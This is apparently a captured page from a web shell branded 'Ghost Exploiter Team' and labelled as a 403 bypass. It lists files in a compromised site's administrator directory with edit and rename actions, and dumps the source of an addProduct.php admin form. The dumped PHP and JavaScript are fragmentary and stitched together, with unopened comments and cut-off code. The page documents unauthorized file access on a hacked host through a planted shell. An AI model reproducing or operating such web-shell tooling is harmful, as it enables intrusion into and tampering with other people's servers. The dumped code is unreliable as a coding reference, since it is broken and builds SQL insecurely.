Shell Bypass 403 GE-C666C

Ghost Exploiter Team Official

Directory >> /home2/ajwaeing/www/administrator/

File / Folder	Size	Action
.	-
bootstrap	--	ren
classes	--	ren
dist	--	ren
images	--	ren
js	--	ren
plugins	--	ren
addBanner.php	6.448KB	edt ren
addCategory.php	4.82KB	edt ren
addPage.php	7.323KB	edt ren
addProduct.php	5.96KB	edt ren
changePassword.php	3.068KB	edt ren
delBanner.php	0.54KB	edt ren
dishcode.php	0.269KB	edt ren
editBanner.php	7.394KB	edt ren
editCategory.php	5.238KB	edt ren
editPage.php	9.358KB	edt ren
editStaff.php	6.956KB	edt ren
error_log	0.199KB	edt ren
header.php	2.023KB	edt ren
home.php	0.037KB	edt ren
index.php	5.087KB	edt ren
lock-screen.php	3.122KB	edt ren
lock.php	0.662KB	edt ren
login.php	3.983KB	edt ren
logout.php	0.091KB	edt ren
pager.php	2.325KB	edt ren
pages.php	0.229KB	edt ren
sidebar.php	1.964KB	edt ren
styles.css	0.637KB	edt ren
viewBanners.php	5.173KB	edt ren
viewCategories.php	3.404KB	edt ren
viewPages.php	4.314KB	edt ren
viewProducts.php	3.085KB	edt ren

<?php
session_start();
require_once "classes/dbConnection.php";
$db = new dbConnection();

$_SESSION['KCFINDER'] = array('disabled' => false);

if(isset($_POST["sname"]) && !empty($_POST["sname"]))
{

$pname = $db -> clean($_POST["pname"]);
	$keywords = $db -> clean($_POST["keywords"]);
	$descripton = $db -> clean($_POST["descripton"]);
	$pstatus = $db -> clean($_POST["pstatus"]);
	$profile = $db -> clean($_POST["profile"]);
	$pimage = $db -> clean($_POST["pimage"]);
	$bimage = $db -> clean($_POST["bimage"]);
	$google = $db -> clean($_POST["google"]);
	$sstatus = $_POST["sstatus"];
	$today = date("Y-m-d His");
	
	$userID = $_SESSION["UserID"];
	
	if(is_uploaded_file($_FILES["pimage"]["tmp_name"])){
		$temp = explode(".", $_FILES["pimage"]["name"]);
		$newfilename = round(microtime(true)).'-'.$str_pname.'.' . end($temp);
		move_uploaded_file($_FILES["pimage"]["tmp_name"], "../images/products/" . $newfilename);
		$pimage = "images/products/".$newfilename;
	}
	else {
		$pimage = '';
	}
	
	$Qry = "INSERT INTO `products`
					SET 
				  `pname` = '$pname',
				  `keywords` = '$keywords',
				  `descripton` = '$descripton',
				  `pstatus` = '$pstatus',
				  `profile` = '$profile',
				  `pimage` = '$pimage',
				  `created` = '$today',
				  `createdby` = '$userID'
					";
	//echo $Qry;
	//exit;
	if($db->query($Qry))
		{
		header("location:index.php?action=viewProducts&msg=1");
		exit;
		}
	else
		{
		header("location:index.php?action=viewProducts&msg=4");
		exit;
		}
	}

`update `ajwa`.`products`
set `ID` = 'ID',
  `pname` = 'pname',
  `keywords` = 'keywords',
  `descripton` = 'descripton',
  `pstatus` = 'pstatus',
  `PROFILE` = 'profile',
  `pimage` = 'pimage',
  `bimage` = 'bimage',
  `created` = 'created',
  `createdby` = 'createdby',
  `updated` = 'updated',
  `updatedby` = 'updatedby'
where `ID` = 'ID';`
*/
?>

$('#summary').jqEasyCounter({ 'maxChars': 250, 'maxCharsWarning': 220 });
	
	$("#submit").mousedown(function(){
  	for (var i in CKEDITOR.instances){
    CKEDITOR.instances[i].updateElement();
  }
});

});

function getExt(filename) {
		 var dot_pos = filename.lastIndexOf(".");
		 if(dot_pos == -1)
			return "";
		 return filename.substr(dot_pos+1).toLowerCase();
	 }

</script>

<div class="content-wrapper">
        
        <section class="content-header">
          <h1>Add Product</h1>
          <ol class="breadcrumb">
            <li><a href="index.php"><i class="fa fa-dashboard"></i> Home</a></li>
            <li><a href="index.php?action=viewProducts"><i class="fa fa-dashboard"></i> Staff Management</a></li>
            <li class="active">Add Product</li>
          </ol>
        </section>
		
        <section class="content">
          <div class="row">
            <div class="col-xs-12">
              <div class="box-header">
                  
              </div>

<div class="box">
                <div class="box-body">
                  <form name="form1" id="form1" method="post" action="addProduct.php" enctype="multipart/form-data" class="form-horizontal">
					
					<div class="form-group">
						<label for="pname" class="control-label col-sm-2">Product Name: <span class="text-red">*</span></label>
						<div class="col-sm-10">
							<input type="text" name="pname" id="pname" class="form-control" required>
						</div>
					</div>
						
					<div class="form-group">
						<label for="pstatus" class="control-label col-sm-2">Status: <span class="text-red">*</span></label>
						<div class="col-sm-10">
							<select name="pstatus" id="pstatus" class="form-control" required>
								<option value="">--Please Select</option>
								<option value="1">Active</option>
								<option value="0">In Active</option>
							</select>
						</div>
					</div>
					
					<div class="form-group">
						<label for="keywords" class="control-label col-sm-2">SEO Keywords: </label>
						<div class="col-sm-10">
							<input type="text" name="keywords" id="keywords" class="form-control">
						</div>
					</div>
					
					<div class="form-group">
						<label for="descripton" class="control-label col-sm-2">SEO Description: </label>
						<div class="col-sm-10">
							<input type="text" name="descripton" id="descripton" class="form-control">
						</div>
					</div>
					
					<div class="form-group">
						<label for="pimage" class="control-label col-sm-2">Product Image: <span class="text-red">*</span></label>
						<div class="col-sm-10">
							<input type="file" name="pimage" id="pimage" class="form-control" required accept=".jpg, .jpeg"><br>
							<span style="font-size: 12px; color: blue;">Upload only JPG/JPEG images. Width: 1500px; Height: 700px;</span>
						</div>
					</div>
						
					<div class="form-group">
						<label for="profile" class="control-label col-sm-2">Details: <span class="text-red">*</span></label>
						<div class="col-sm-10">
							<textarea name="profile" id="profile" cols="30" rows="10" class="form-control"></textarea>							
						</div>
					</div>
					
										
					<div class="form-group">
						<div class="col-sm-2 text-right">
							<a href="index.php?action=viewProducts" class="btn btn-danger">Cancel</a>
						</div>	
						<div class="col-sm-10">
							<button type="submit" name="submit" class="btn btn-primary">Submit</button>
						</div>					
					</div>
						
					</form>	
                </div>
                <div class="box-footer">
                	
                </div>
              </div>
            </div>
          </div>
        </section>
        
        
      </div>
<script>
CKEDITOR.replace( 'profile',
    {
        toolbar : 'Basic',
        uiColor : '#9AB8F3'
    });
		
</script>